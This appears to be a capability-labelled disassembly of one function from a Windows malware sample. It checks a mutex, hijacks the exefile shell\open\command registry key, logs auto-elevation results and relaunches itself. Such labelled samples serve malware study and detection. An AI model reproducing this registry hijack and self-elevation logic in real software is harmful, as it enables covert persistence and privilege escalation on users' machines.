Function at 0x46f240
Capabilities:
Check mutex on windows
Persist via default file association registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5740a8
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x84], edx
mov ebx, ecx
mov dword [ebp - 0x7c], ebx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x58]
mov byte [ebp - 0x75], 0
call fcn.0046f090
cmp dword [eax + 0x14], 0x10
jb 0x46f28d
mov eax, dword [eax]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 0x44]
mov esi, eax
cmp edx, 0x10
jb 0x46f2ce
mov ecx, dword [ebp - 0x58]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x46f2c4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46f6e7
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push 0
push esi
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x46f2f8
mov byte [ebp - 0x75], 1
push str.___CLONE_INFO:_Im_a_clone_
jmp 0x46f2fd
push str.___CLONE_INFO:_Im_original_process_
call fcn.00463ab0
add esp, 4
push 0x5d92b0
call fcn.00463ab0
mov al, byte [0x5f29f3]
add esp, 4
test al, al
je 0x46f426
push 7
xor eax, eax
mov dword [ebp - 0x18], 0
push str.__1___
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0044a910
mov eax, dword [ebp - 0x18]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
add eax, eax
push 0
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x46f39a
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x74]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SoftwareClassesexefile_shellopencommand
push SysReAllocString
call ebx
test eax, eax
jne 0x46f3e4
push dword [ebp - 0x80]
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push 1
push 0
push 0
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x74]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x46f41e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46f414
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46f6ec
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ebx, dword [ebp - 0x7c]
mov al, byte [0x5f29f3]
cmp byte [ebp - 0x75], 0
je 0x46f444
test al, al
jne 0x46f51a
mov dword [edi], 1
mov eax, 1
jmp 0x46f6cb
test al, al
jne 0x46f521
mov edx, dword [ebp - 0x84]
mov ecx, ebx
call fcn.004783d0
test eax, eax
je 0x46f506
push str.___Auto_elevation_success.
call fcn.00463ab0
add esp, 4
call fcn.00463d30
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5f27dc], 0
mov dword [edi], 0
je 0x46f4fc
push 0x5f2e18
lea ecx, [ebp - 0x58]
call fcn.00449590
push ecx
push str.AppData_
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.00470b70
cmp eax, 0xffffffff
jne 0x46f4c2
mov cl, 1
call fcn.00470110
mov edx, dword [ebp - 0x44]
cmp edx, 8
jb 0x46f4fc
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46f4f2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46f6f1
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov eax, 1
jmp 0x46f6cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Auto_elevation_failed__Code__lu.
call fcn.00463ab0
add esp, 8
xor eax, eax
jmp 0x46f6cb
xor eax, eax
mov dword [ebp - 0x30], 0
cmp byte [0x5f27e0], al
mov ecx, 5
push 1
cmovne eax, ecx
mov dword [ebp - 0x2c], 7
movzx eax, ax
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x7c], eax
xor eax, eax
push 0x5d9f40
mov word [ebp - 0x40], ax
call fcn.0044a910
mov ecx, ebx
mov dword [ebp - 4], 1
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46f566
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.00451c60
push 2
push 0x5d9f44
lea ecx, [ebp - 0x40]
call fcn.00451c60
mov ebx, dword [ebp - 0x84]
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46f5a0
sub ecx, edx
sar ecx, 1
push ecx
push ebx
lea ecx, [ebp - 0x40]
call fcn.00451c60
cmp dword [ebp - 0x2c], 8
lea ecx, [ebp - 0x40]
mov edx, dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x40]
push 0x2710
push 0
call fcn.0046ec60
add esp, 8
test eax, eax
je 0x46f67d
push str.___Re_launch_success.
call fcn.00463ab0
add esp, 4
call fcn.00463d30
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x5f27dc], 0
mov dword [edi], 0
je 0x46f676
push 0x5f2e18
lea ecx, [ebp - 0x70]
call fcn.00449590
push ecx
push str.AppData_
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.00470b70
cmp eax, 0xffffffff
jne 0x46f63c
mov cl, 1
call fcn.00470110
mov edx, dword [ebp - 0x5c]
cmp edx, 8
jb 0x46f676
mov ecx, dword [ebp - 0x70]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46f66c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46f6f6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, 1
jmp 0x46f693
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Re_launch_failed__Code__lu.
call fcn.00463ab0
add esp, 8
xor esi, esi
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x46f6c9
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46f6bf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46f6fb
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
int3